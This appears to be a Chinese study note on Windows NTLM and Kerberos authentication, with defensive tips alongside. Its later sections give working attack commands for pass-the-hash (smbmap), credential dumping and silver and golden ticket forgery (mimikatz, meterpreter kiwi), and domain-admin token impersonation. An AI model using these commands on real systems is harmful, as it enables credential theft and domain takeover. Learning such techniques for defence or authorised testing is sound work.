天天看點

了解Windos認證

目錄

1.密碼的存放位置

2.NTLM(NT LAN Manager)Hash

3.NTLM Hash ---産生

4.本地認證流程

5.Windows 網絡認證

6.NTLM(NT LAN Manager) 協定

7.NTLM v2協定

8.Pass The Hash(哈希傳遞)

9.Active Directory(活動目錄)

10.域認證體系- Kerbroes

11.白銀票據

12.黃金票據

13.Tickets總結

14.Windos Access Token

1.密碼的存放位置

路徑:%SystemRoot%\system32\config\sam,當我們登陸系統的時候,系統會自動的讀取SAM檔案中的“密碼”與輸入的“密碼”進行對比,如果相同,證明認證成功。

2.NTLM(NT LAN Manager)Hash

NTLM Hash 是支援Net NTLM 認證協定以及本地認證過程中的一個重要參與物,其長度為32位,由數字以及字母組成。

在Windows本身不存儲使用者的明文密碼,它會将使用者的明文密碼經過加密算法後存儲在SAM資料庫中。

當用于登陸時,将使用者輸入的明文密碼也加密成NTLM Hash,與SAM 資料庫中的NTLM Hash進行比較。NTLM Hash的前身是LM Hash,目前基本被淘汰,但是還是存在。

3.NTLM Hash ---産生

了解Windos認證

4.本地認證流程

Windows Logon Process(即 Winlogon.exe),是Windows和NT使用者登陸程式,用于管理使用者登陸和退出。

LSASS 用于微軟Windows系統的安全機制。它用于本地安全和登陸政策

了解Windos認證

5.Windows 網絡認證

在内網滲透中,經常遇到工作組環境,而工作組環境是一個邏輯上的網絡環境(工作區),隸屬于工作組的機器之間無法互相建立一個完美的信任機制,隻能點對點,是比較落後的認證方式,沒有信托機構。

假設A主機與B主機屬于同一個工作組環境,A想通路B主機上的資料,需要将一個存在于B主機上的賬戶憑證發送給A主機,,經過認證才能夠通路B主機上的資源

最常見的服務:SMB服務,端口:445

6.NTLM(NT LAN Manager) 協定

早期SMB協定在網路上傳輸明文密碼。後來出現 LAN Manager Challenge/Response驗證機制,簡稱LM,它是如此簡單以至于很容易就被破解

微軟提出了WindowsNT挑戰/響應驗證機制,稱之為NTLM。現在已經有了NTLMv2以及Kerberos驗證體系

挑戰(Challenge)/響應(Response)

第一步協商

用戶端主要在這一步向伺服器确認協定的版本,是V1還是v2,詳細步驟不隻這一點

第二步 質詢完整過程

注:Net NTLM Hash = NTLM Hash(Challenge)

了解Windos認證

注:Response的表現形式是 Net-NTLM Hash,它是由用戶端提供的密碼Hash加密Server傳回的Chanllenge産出的結果

7.NTLM v2協定

NTLM v1 與 NTLM v2 最顯著的差別是Challenge與加密算法不同,共同點就是加密的原料都是NTLM Hash。

Challange:NTLM v1的Challenge有8位,NTLM v2的Challenge位16位

Net-NTLM Hash:NTLM v1的主要加密算法是DES(對稱加密),NTLM v2的主要加密算法是HMAC-MD5

8.Pass The Hash(哈希傳遞)

哈希傳遞能夠在不需要賬戶明文密碼的情況下完成認證的一個技術

作用:

解決了滲透中擷取不到明文密碼,破解不了NTLM Hash而又想擴大戰果的問題

條件:

被認證的主機能夠通路到伺服器

被傳遞認證的使用者名

被傳遞認證使用者的NTLM Hash

工具:

Smbmap

 smbmap ip -u administrator -H 哈希值 -x whoami

CrackMapExec

Smbexec

Metasploit

9.Active Directory(活動目錄)

Active Directory存儲了有關網絡對象的資訊,并且讓管理者和使用者能夠輕松查找和使用這些資訊。Active Directory使用了一種結構化的資料存儲方式,并以此作為基礎對目錄資訊進行合乎邏輯的分層組織。

網絡對象分為:使用者、使用者組、計算機、域、組織機關以及安全政策

功能:

伺服器以及用戶端計算機管理/使用者服務/資源管理/桌面配置/應用系統支撐

10.域認證體系- Kerbroes

Kerberos是一種網絡認證協定,其設計目标是通過密鑰系統為客戶機/伺服器應用程式提供強大的認證服務。

該認證過程的實作不依賴于主機作業系統的認證,無需基于主機位址信任,不要求網絡上所有主機的實體安全

​此過程假定網絡上傳送的資料包可以被任意地讀取、修改和插入資料

kerberos作為一種可信任的第三方認證服務,是通過傳統的密碼技術(如:共享秘鑰)執行認證服務。

域認證所參與的角色

Client

Server

KDC(key Distribution Center)=DC(Domain Controller)

了解Windos認證
  • AD(account database):存儲所有client的白名單,隻有存在于白名單的client才能順利申請到TGT
  • AS  (Authentication Services):為client生成TGT(Ticket Granting Ticket)的服務
  • TGS(Ticket Granting Service):為client生成某個服務的ticket

大緻過程

  • 1.Client請求Kerberos服務(請求中包含了Client Name 也就是使用者名),如果主機名存在于ad中,就放回TGT給Client
  • 2.Client拿着TGT去向Kerbroes發起請求說需要指定服務的權限,TGS傳回Ticket(Server Hash)給Client。
  • 3.Client拿着Ticket去請求登入服務,服務那邊又會去問Kerbroes這個ticket是否是真實的,是就給通過,認證完成。
了解Windos認證

詳細過程

了解Windos認證

第一步:

AS_REQ: Client向KDC發起AS_REQ,請求憑據是Client hash加密的時間

d

了解Windos認證

AS_REP: KDC使用Client hash進行解密,如果結果正确就傳回用krbtgt hash加密的TGT票據,TGT裡面包含PAC,PAC包含Client的sid,Client所在的組。

了解Windos認證

TGS_REQ: Client憑借TGT票據向KDC發起針對特定服務的TGS_REQ請求

TGS_REP: KDC使用krbtgt hash進行解密,如果結果正确,就傳回用服務hash 加密的TGS票據(這一步不管使用者有沒有通路服務的權限,隻要TGT正确,就傳回TGS票據)

了解Windos認證

了解Windos認證

AP_REQ: Client拿着TGS票據去請求服務

AP_REP: 服務使用自己的hash解密TGS票據。如果解密正确,就拿着PAC去KDC那邊問Client有沒有通路權限,域控解密PAC。擷取Client的sid,以及所在的組,再根據該服務的ACL,判斷Client是否有通路服務的權限

了解Windos認證

11.白銀票據

白銀票據特點:

1.不需要與KDC進行互動

2.需要目标服務的NTLM Hash

在第三步認證中的Ticket的組成: Ticket=Server Hash(Server Session Key+Client info + End Time)

當擁有Server Hash時,我們就可以僞造一個不經過KDC認證的一個Ticket。

PS:Server Session Key在未發送Ticket之前,伺服器是不知道Server Session Key是幹什麼的,是以一切憑據都來源于Server Hash

白銀票據的僞造:

Mimikatz:(現在在msf中改為了kiwi)

  • privilege::debug
  • kerberos::list #列出票據
  • 了解Windos認證
  • kerberos::purge  #清除票據
  • sekurlsa::logonpasswords #擷取service賬戶hash 和sid

我們也可以直接将kali中的mimikatz.exe通過meterpreter上傳到目标機中

upload /usr/share/windows-resources/mimikatz/x64/mimikatz.exe 

然後運作

了解Windos認證
  • kerberos::golden /domain:<域名>/sid:<域SID>/target:<目标伺服器主機名> /service:<服務類型> /rc4:<NTLM Hash> /user:<使用者名>/ptt

預設服務

由于白銀票據需要目标伺服器的Hash,是以沒辦法生成對應域内所有伺服器的票據,也不能通過TGT申請。是以隻能針對伺服器上的某些服務區僞造。

了解Windos認證

防禦

1.盡量保證伺服器憑證不被竊取

2.開啟PAC(Privileged Attribute Certificate)特權屬性證書保護功能,PAC主要是規定伺服器将票據發送給kerberos服務,由kerberos服務驗證票據是否有效

開啟方式:将系統資料庫中HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters中的ValidateKdcPacSignature設定為1

12.黃金票據

特點:

1.需要與DC通信

2.需要krbtgt使用者的hash(也就是KDC Hash,TGT)

了解Windos認證
了解Windos認證

msf kiwi 僞造

meterpreter > golden_ticket_create -d 域名 -k NTLM_hash -s SID值 -u 名字 -t 票據存放位置
           
meterpreter >kerberos_ticket_list 票據存放路徑
           

mimikatz 僞造

kerberos::golden /domain:<域名>/sid:<域SID> /rc4:<KRBTGT NTLM Hash> /user:<任意使用者名> /ptt
           

13.Tickets總結

黃金票據:從攻擊面看,擷取krbtgt使用者的hash後,可以在域中進行持久性的隐藏,并且日志很難溯源,但是需要拿到DC權限,使用黃金票據能夠在一個域環境中長時間控制整個域。

從防禦角度看,需要經常更新krbtgt的密碼,才能夠使得原有的票據失效。最根本的辦法是不允許域管賬戶登陸其他伺服器。

白銀票據:從攻擊面看,僞造白銀票據的難度比僞造黃金票據的難度較小,因為一個域中的伺服器如果對外的話,非常容易被入侵,并且容易被轉儲Server Hash

從防禦角度看,需要開啟PAC認證,但這會降低認證效率,增加DC的負擔,最根本的還是要加強伺服器本身對外的服務。

14.Windos Access Token

Windows Token 其實叫Access Token(通路令牌),它是一個描述程序或者線程安全上下文的一個對象。不同的使用者登入計算機後,都會生成一個Access Token,這個Token在使用者建立程序或者線程時都會被使用,不斷的拷貝,這也就解釋了A使用者建立一個程序而該程序沒有B使用者的權限。

種類: Access Token分為兩種(主令牌、模拟令牌)

一般情況下,使用者輕按兩下運作一個程式,都會拷貝“exeploer.exe”的Access Token

當使用者登出後,系統将會使主令牌切換為模拟令牌,不會加強令牌清除,隻有在重新開機機器後才會清除。

組成:

使用者賬戶的安全辨別符

使用者所屬的組的SID

使用者辨別目前登陸會話的登陸SID

使用者或使用者組所擁有的權限清單

所有者SID

主要組的SID

通路控制清單

通路令牌的來源

令牌是主要令牌還是模拟令牌

限制SID的可選清單

目前的模拟等級

其他統計資料

令牌假冒(msf)

meterpreter > list_tokens -u

了解Windos認證

DC通路共享

了解Windos認證

可以看到多處了一個token

了解Windos認證

這個時候我們僞造這個令牌

meterpreter > impersonate_token xxx\\Administrator

了解Windos認證

meterpreter > getuid Server username: xxx\Administrator

這個時候我們已經是域管理賬戶了

我們可以使用,假冒令牌進行執行

execute -t

防禦

禁止Domain Admins 登陸對外且未做安全加強的伺服器,因為一旦伺服器被入侵,域管理者的令牌可能會被攻擊者假冒,進而控制DC

如果想清除假冒,重新開機伺服器即可。

注:文章内容部分摘抄自b站某個視訊,僅僅作為筆記使用。

繼續閱讀